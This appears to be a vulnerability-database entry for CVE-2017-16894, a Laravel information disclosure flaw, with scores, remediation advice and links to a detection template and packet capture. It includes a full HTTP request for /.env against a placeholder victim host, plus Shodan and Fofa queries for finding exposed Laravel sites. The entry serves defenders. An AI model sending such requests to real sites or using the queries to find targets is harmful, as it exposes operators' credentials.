🔙 목록으로 돌아가기

CVE-2017-16894: Laravel <5.5.21 - Information Disclosure

TitleLaravel <5.5.21 - Information Disclosure
Authorj4vaovo
SeverityHigh
ImpactAn attacker can exploit this vulnerability to gain sensitive information from the application.
RemediationUpgrade Laravel to version 5.5.21 or higher to fix the information disclosure vulnerability.
CVSS Score7.5
EPSS Score0.88787
CVE IDCVE-2017-16894
CWE IDCWE-200
Shodan QueryLaravel-Frameworkcpe:"cpe:2.3:a:laravel:laravel"laravel-framework
Fofa Queryapp="Laravel-Framework"app="laravel-framework"
Tags cve cve2017 laravel exposure packetstorm vkev vuln

🔍 Vulnerability Description

Laravel through 5.5.21 is susceptible to information disclosure. An attacker can obtain sensitive information such as externally usable passwords via a direct request for the /.env URI. NOTE: CVE pertains only to the writeNewEnvironmentFileWith function in src/Illuminate/Foundation/Console/KeyGenerateCommand.php, which uses file_put_contents without restricting .env permissions. The .env filename is not used exclusively by Laravel.

🌐 HTTP Request

GET /.env HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-16894.yaml

🦈 Packet Capture: ⬇️ Download cve-2017-16894.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A